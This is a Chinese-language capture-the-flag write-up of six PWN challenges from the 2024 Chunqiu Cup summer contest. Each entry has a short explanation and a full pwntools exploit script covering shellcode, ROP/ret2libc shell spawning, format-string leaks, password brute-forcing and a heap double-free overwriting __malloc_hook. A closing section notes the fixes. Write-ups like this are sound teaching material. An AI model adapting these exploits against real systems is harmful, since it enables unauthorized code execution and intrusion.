2024春秋杯网络安全联赛夏季赛(CTF+AWDP) - PWN
2024春秋杯网络安全联赛夏季赛(CTF+AWDP) - PWN
???
一件关于我比赛期间玩小南梁&老司机开车游戏(Rotaeno)导致比赛被杀然后赛后救赎(复盘)发现可以AK掉CTF-PWN和AWDP-Break-PWN的痛心事… …
:( QAQ :(

距CISCN2024全国决赛还有13天…已经开始面壁了… …
正文
CTF
Shuffled_Execution
程序会把送进去的shellcode进行一个加密,就是开个随机交换两个idx下的内容,但是只要前面加上\x00截断就行了,就只会交换截断前的内容 沙箱用openat打开文件,mmap读入,writev输出就行了
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
import ctypes
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
def swap_bytes(byte_string, index1, index2):
byte_list = list(byte_string)
byte_list[index1], byte_list[index2] = byte_list[index2], byte_list[index1]
return bytes(byte_list)
pwn = './pwn'
p=remote('39.106.48.123',44827)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
buf=0x1337000
flag=0x1145000
shellcode='''
mov rax,0
mov rsp,0x1337f00
mov rax,0x67616c66
push rax
mov rdi,0x0FFFFFF9C
mov rsi,rsp
mov rdx,0
mov rax,257
syscall
'''
shellcode+=shellcraft.mmap(0x1437000, 0x1000, 7, 2, 'rax', 0)
shellcode+=shellcraft.writev(1,buf+0x100,2)
print(shellcode)
payload=asm(shellcode).ljust(0x100,b'a')+p64(0x1437000)+p64(0x100)+p64(0x1437000)+p64(0x110)
print(payload)
libc = ctypes.CDLL("libc.so.6")
libc.srand(0x1337)
arr=[]
for i in range(0x3):
arr.append(libc.rand()%0x3)
for i in range(0x3-1,-1,-1):
# print("before e",payload[i],payload[arr[i]])
# print(i,arr[i])
payload=swap_bytes(payload,arr[i],i)
# print("after ",payload[i],payload[arr[i]])
print(payload)
print(arr)
p.send(payload)
p.interactive()
stdout
程序设置stdout的缓冲为全缓冲,我们直接造ROP链子,调用setvbuf(stdout, 0LL, 2, 0LL);就行了。 主要的困难是在控制rdi,rdx和rcx上面。 控制rdi我们只要提前在bss上面stdout前面布置一个pop rdi;ret;就行了,stdout后面布置rop链子就能接着执行了。 之后控制rdx,我们利用csu设置rdx然后调用ret的地址就行了,就能继续调用ROP链子了。 rcx我没记错的话控制他只要再调用init函数里面的setvbuf(stdin,0,2,0);就行了。 之后就正常ret2libc就拿到shell了。
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
p=remote('8.147.132.12',35341)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
setrcx=0x40123C
elf=ELF(pwn)
#libc=ELF('./libc.so.6')
stk=0x404090+0x200
vuln=0x40125D
payload=b'a'*0x50+p64(stk)+p64(vuln)
p.send(payload)
setbuf1=0x40123C
ret=0x0401286
csu1=0x4013CA
csu2=0x4013B0
pop_rsi2=0x4013d1
pop_rbp=0x4011fd
pop_rdi=0x04013d3
pop_rsp_3=0x4013cd
lr=0x40136D
read_a=0x4010d0
payload=b'a'*0x20+p64(0x404060)+p64(pop_rdi)+p64(0)+p64(pop_rsi2)+p64(0x404060-8)+p64(0)+p64(read_a)+p64(pop_rdi)+p64(0)+p64(pop_rsi2)+p64(0x404078)+p64(0)+p64(read_a)
payload+=p64(csu1)+p64(0)+p64(1)+p64(2)+p64(2)+p64(2)+p64(0x404098)+p64(csu2)+p64(0x404060)*7 +p64(lr)
# pause()
setvbuf=0x401100
p.send(payload)
pause()
p.send(p64(csu1)+p64(0)+p64(pop_rdi))
pause()
payload=p64(pop_rsi2)+p64(0)+p64(0)+p64(ret)*30+p64(setvbuf)+p64(ret)+p64(pop_rdi)+p64(0x404018)+p64(pop_rbp)+p64(stk)+p64(elf.sym['puts'])+p64(vuln)
p.send(payload)
p.recvuntil("stdout???\n")
libc_base=u64(p.recv(6)+b'\x00\x00')-0x000071e6cc5d2420+0x71e6cc54e000
print(hex(libc_base))
pause()
sh=libc_base+0x01b45bd
syst=libc_base+0x52290
pop_rdx=libc_base+0x142c92
execv=libc_base+0xe3170
payload=b'a'*0x20+p64(stk)+p64(pop_rdi)+p64(sh)+p64(pop_rsi2)+p64(0)*2+p64(pop_rdx)+p64(0)+p64(execv)
p.send(payload)
p.interactive()
(好像做的麻烦了,我看别人的exp比我短)
SavethePrincess
使用格式化字符串漏洞之前需要获得密码,我们可以逐位爆破,然后由于没有字符串截断我们可以输出每次爆破的循环变量i,然后就能知道当前的字母是不是正确的。 之后就正常打ret2libc+ORW
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
#p=remote(' ',)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
def modify_byte(b: bytes, i: int, new_value: int) -> bytes:
# 将字节串转换为列表
byte_list = list(b)
# 修改第i个字符
byte_list[i] = new_value
# 将列表转换回字节串
modified_bytes = bytes(byte_list)
return modified_bytes
p.sendlineafter("get magic","1")
p.sendafter("please input your password:","q"*3)
p.recvuntil("qqq")
elf_base=u64(p.recv(6)+b'\x00\x00')-0x5e892c339d38+0x5e892c336000
print(hex(elf_base))
arr=b'abcdefghijklmnopqrstuvwxyz'
pwd=b'aaaaaaaaaa'
def ints_to_bytes(int_list):
char_list = [chr(i) for i in int_list]
char_str = ''.join(char_list)
byte_str = char_str.encode('utf-8')
return byte_str
checkchr=10
find=0
for i in range(8):
for c in arr:
# pwd[i]=c
pwd=modify_byte(pwd, i, c)
p.sendlineafter("get magic","1")
p.sendafter("please input your password",pwd)
try:
p.recvuntil(b'password is ',timeout=0.5)
except:
# p.sendlineafter("Embrace the power!!!","aaaa%s%x%10x")
find=1
break
s=p.recv(15)
print(s)
# print(pwd)
print(s[10],checkchr)
if(s[10]!=checkchr):
checkchr=s[10]
if(i==7):
find=1
break
if find==1:
# print(pwd)
# print(pwd)
# print(pwd)
# p.sendlineafter("Embrace the power!!!","aaaa%s%x%10x")
break
# p.send("%p")
# p.send
# p.sendlineafter("get magic","1")
# p.sendlineafter("please input your password",pwd)
# 10 rbp
p.sendlineafter("Embrace the power!!!","%15$p%10$p%9$p")
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-0x77146aa29d90+0x77146aa00000
pop_rdi=libc_base+0x2a3e5
pop_rsi=libc_base+0x2be51
pop_rdx_r12=libc_base+0x11f2e7
mpro=libc_base +0x11EAA0
p.recvuntil("0x")
code=int(p.recv(12),16)-0xb0+0x50
p.recvuntil("0x")
canary=int(p.recv(16),16)
p.sendlineafter("get magic","2")
shellcode='''
mov rax,0x67616c66
push rax
mov rdi,0x0FFFFFF9C
mov rsi,rsp
mov rdx,0
mov rax,257
syscall
'''
shellcode+=shellcraft.mmap(0x1437000, 0x1000, 7, 2, 'rax', 0)
shellcode+=shellcraft.writev(1,code+0x100,2)
print(shellcode)
payload=b'a'.ljust(0x38,b'a')
print(len(asm(shellcode)))
payload+=p64(canary)+p64(0x0)+p64(pop_rdi)+p64(code&0xfffffffffffff000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rdx_r12)+p64(7)*2+p64(mpro)+p64(code+0x120)
payload=payload.ljust(0x100,b'a')+p64(0x1437000)+p64(0x100)+p64(0x1437000)+p64(0x110)+asm(shellcode)
gdb.attach(p)
p.sendline(payload)
p.interactive()
AWDP
Break
spiiill
写了个一个类似VM的东西。。。 有个函数表能够根据写入的代码执行对应的函数。 其中有个后门函数,但是刚开始的那个解析函数的函数有检查,调用不到。 于是直接调用10号的函数(应该是call指令),来call那个后门函数。 然后就是system找参数的时候需要通过偏移来找,由于没加unsigned而且是qword,就直接送一个负的偏移定位到代码中我们输入的/bin/sh字符串就行了。
亏我还一点点逆的VM(

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
#p=remote(' ',)'
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn')
gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 0-0x800 stack sp:s+0x800
# 0x808-0x808+0x400 code pc:s+0x2808
payload=p64(10)+p64(10)+p64(12)+p64(0xfffffffffffffc03)+b'/bin/sh\x00'
p.sendlineafter("Give me your choice: ","2")
p.sendline(payload)
p.sendlineafter("Give me your choice: ","3")
p.interactive()
simpleSys
写了个登录的玩意 root的密码是换表的base64,直接解密得到密码:this is password
但是其实没有什么用,因为他比较的是加密的字符串,我们输入的内容经过加密,长度变长,正好使得最后的\x00落在data段存储的加密的密码的第一个字节上面,strlen之后返回值为0,所以我们就直接不需要知道密码就能登陆。
之后正常格式化字符串漏洞+ret2libc就行了
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
#p=remote(' ',)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn')
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
def signup():
p.sendlineafter("nter your choice:","1")
def login():
p.sendlineafter("nter your choice:","2")
def bio(con):
p.sendlineafter("nter your choice:","3")
p.sendlineafter("input length:","-1")
pause()
p.sendline(con)
pause()
p.sendlineafter("confirm","y")
def logout():
p.sendlineafter("nter your choice:","4")
login()
p.sendlineafter("username:","root")
# gdb.attach(p)
p.sendlineafter("password:",b'a'*0x24)
# gdb.attach(p)
bio(b'a'*0x38)
p.recvuntil(b'a'*0x38)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x71e654a46664+0x71e654a00000
syst=libc_base+0x58740
pop_rdi=libc_base+0x010f75b
sh=libc_base+0x1cb42f
ret=libc_base+0x5876C
payload=b'a'*0x68+p64(pop_rdi)+p64(sh)+p64(ret)+p64(syst)
bio(payload)
p.interactive()
encoder
2.31的堆,代码量算是挺大的。
先填满tcache
之后构造payload,payload就是一个经过encode的空字符串,长度为0,我们写入一个0x70大小的chunk,经过decode之后就能得到size为0的file,同时buf被free了但是没有把指针清掉。
之后由于他update的时候检测大小是否大于0x20000的时候比较的是带符号的变量,我们直接写入-1,然后就能把size改成0xffffffff而且之后也不会进行读入,指针还在。
之后我们再release一个别的0x70的chunk,再release这个chunk,就得到了fastbin中的double free,之后先申请一个出来,通过decode申请巨大堆块,使fastbin进入ubsorted bin,就可以利用另一个堆块的download获取libc机制,之后,fastbin attack打malloc钩子就行了。
但是,这个题目的比较恶心的就是这个libc的one_gadget非常烦人,没有栈帧的参数
不能用的one_gadget连用realloc调整栈帧的办法都没有用。
这里我用的是第二个one_gadget,因为r15本来就是空的,只要控制rdx就行了。
但是刚开始的时候发现rdx的数值是0x200,于是找办法控制一下。
经过调试以及静态分析可以看到rdx是之前寻址的残留,于是我们让调用malloc的时候控制fileidx为0就行了。

只能打本地版本(偷懒了,用EOF泄露的libc):
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
import tty
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
#p=remote(' ',)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn',stdin=PTY,raw=False)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 1. upload
# 2. download
# 3. encode
# 4. decode
# 5. release
# >>
def upload(idx,size,con):
p.sendlineafter("5. release","1")
# p.clean()
p.sendlineafter("FileIdx:",str(idx))
# p.clean()
p.sendlineafter("FileSize:",str(size))
# p.clean()
# p.recvuntil("checker: 0x")
# n=int(p.recv(3),16)
p.sendlineafter("FileData:",con)
# p.clean()
# return n
def download(idx):
p.sendlineafter("5. release","2")
p.sendlineafter("FileIdx:",str(idx))
def encode(idx):
p.sendlineafter("5. release","3")
p.sendlineafter("FileIdx:",str(idx))
def decode(idx):
p.sendlineafter("5. release","4")
p.sendlineafter("FileIdx:",str(idx))
def release(idx):
p.sendlineafter("5. release","5")
# p.clean()
p.sendlineafter("FileIdx:",str(idx))
# p.clean()
chunk1=upload(0,0x500,b'a'*0x500)
chunk2=upload(1,0x100,b'a'*0x100)
chunk3=upload(2,0x500,b'a'*0x500)
chunk4=upload(3,0x100,b'a'*0x100)
release(0)
release(2)
# gdb.attach(p,"b *$rebase(0x16ee)")
chunk0=upload(0,0x500,chr(tty.CEOF))
# p.clean()
download(0)
p.recvuntil("ata: ")
libc_base=u64(p.recv(8))-0x0000778275f9abe0+0x778275dae000
heap_base=u64(p.recv(8))-0x00005a21c9e258b0+0x5a21c9e25000
malloc_hook=libc_base+0x1ECB70
print(hex(libc_base))
print(hex(heap_base))
payload=p64(0x020a454c52)+p64(0x00616100)+p64(0)
chunk5=upload(2,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(4,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(5,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(6,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(7,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(8,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(9,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(10,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(11,0x60,payload.ljust(0x60,b'a'))
# decode(3)
release(4)
release(5)
release(6)
release(7)
release(8)
release(9)
release(10)
decode(2)
# gdb.attach(p,"b malloc")
upload(2,0xffffffff,b'a')
release(11)
release(2)
chunk5=upload(2,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(4,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(5,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(6,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(7,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(8,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(9,0x60,payload.ljust(0x60,b'a'))
upload(12,0x60,p64(malloc_hook-0x23).ljust(0x60))
upload(13,0x60,p64(malloc_hook-0x23).ljust(0x60))
upload(14,0x60,payload.ljust(0x60))
ogg=libc_base+0xe3b01
payload=b'aaa'+p64(ogg)*5
upload(15,0x60,payload.ljust(0x60))
print(hex(malloc_hook-0x23))
release(0)
p.sendlineafter("5. release","1")
p.sendlineafter("FileIdx:","0")
p.sendlineafter("FileSize:",str(0x60))
# encode(2)
# p.sendline("4")
# download(2)
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp
# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp
# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL || rsi is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp
# gdb.attach(p,"b *$rebase(0x1ACB)")
p.interactive()
远程脚本在本地脚本的基础上改的,有点乱而且有点长,懒得简化了:
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
import tty
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
# p=remote(' ',)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn')
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 1. upload
# 2. download
# 3. encode
# 4. decode
# 5. release
# >>
def upload(idx,size,con):
p.sendlineafter("5. release","1")
# p.clean()
p.sendlineafter("FileIdx:",str(idx))
# p.clean()
p.sendlineafter("FileSize:",str(size))
# p.clean()
# p.recvuntil("checker: 0x")
# n=int(p.recv(3),16)
p.sendlineafter("FileData:",con)
# p.clean()
# return n
def download(idx):
p.sendlineafter("5. release","2")
p.sendlineafter("FileIdx:",str(idx))
def encode(idx):
p.sendlineafter("5. release","3")
p.sendlineafter("FileIdx:",str(idx))
def decode(idx):
p.sendlineafter("5. release","4")
p.sendlineafter("FileIdx:",str(idx))
def release(idx):
p.sendlineafter("5. release","5")
# p.clean()
p.sendlineafter("FileIdx:",str(idx))
# p.clean()
def genpay(con):
res=0
for i in con:
res+=i
res+=1
ret=p32(0x0a454c52)+p32(len(con*2))
for i in con:
ret+=p8(1)
ret+=p8(i)
return ret+p32(res)
# payload=p64(0x010a454c52)+p64(0x63626100)+p64(0x6161)
payload=p32(0x0a454c52)+p32(0)+p32(0x0100)+b'\x00\x90\x00\x6f'
for i in range(11):
upload(i,0x48,payload.ljust(0x48))
release(4)
release(5)
release(6)
release(7)
release(8)
release(9)
release(10)
decode(2)
# gdb.attach(p,"b *$rebase(0x1ACB)")
upload(2,0xffffffff,b'a')
release(0)
release(2)
payload=p32(0x0a454c52)+p32(1)+p32(0x0100)+b'\x40\x90\x01\x51\x07\x00'
for i in range(4,11):
upload(i,0x48,payload.ljust(0x48))
upload(11,0x48,b'\x00'*0x38+b'x'*0x10)
upload(12,0x48,b'\x00'*0x38+b'x'*0x10)
upload(13,0x48,b'\x00'*0x38+b'x'*0x10)
#
upload(12,0x48,genpay(b'a'*0x10).ljust(0x48))
release(4)
release(5)
release(6)
release(7)
release(8)
release(9)
# release(10)
release(11)
decode(12)
download(13)
p.recvuntil("FileData: ")
libc_base=u64(p.recv(8))-0x76d6cbd5bc20+0x76d6cbb6f000
print(hex(libc_base))
malloc_hook=libc_base+0x1ECB70
ogg=libc_base+0xe3b01
release(0)
release(1)
release(12)
payload=p64(0x020a454c52)+p64(0x00616100)+p64(0)
chunk5=upload(2,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(4,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(5,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(6,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(7,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(8,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(9,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(10,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(11,0x60,payload.ljust(0x60,b'a'))
release(4)
release(5)
release(6)
release(7)
release(8)
release(9)
release(10)
decode(2)
upload(2,0xffffffff,b'a')
release(11)
release(2)
chunk5=upload(2,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(4,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(5,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(6,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(7,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(8,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(9,0x60,payload.ljust(0x60,b'a'))
upload(12,0x60,p64(malloc_hook-0x23).ljust(0x60))
upload(13,0x60,p64(malloc_hook-0x23).ljust(0x60))
upload(14,0x60,payload.ljust(0x60))
payload=b'aaa'+p64(ogg)*5
upload(15,0x60,payload.ljust(0x60))
print(hex(malloc_hook-0x23))
release(0)
p.sendlineafter("5. release","1")
p.sendlineafter("FileIdx:","0")
#
p.sendlineafter("FileSize:",str(0x60))
p.interactive()
Fix
simpleSys
直接修改一下那个负数的洞就过了

spiiill & encoder
这两题好像赛后提交不了了(
spiiill直接删后门我觉得应该就行了( encoder我感觉改个0xffffffff的就能过了,改成unsigned变量(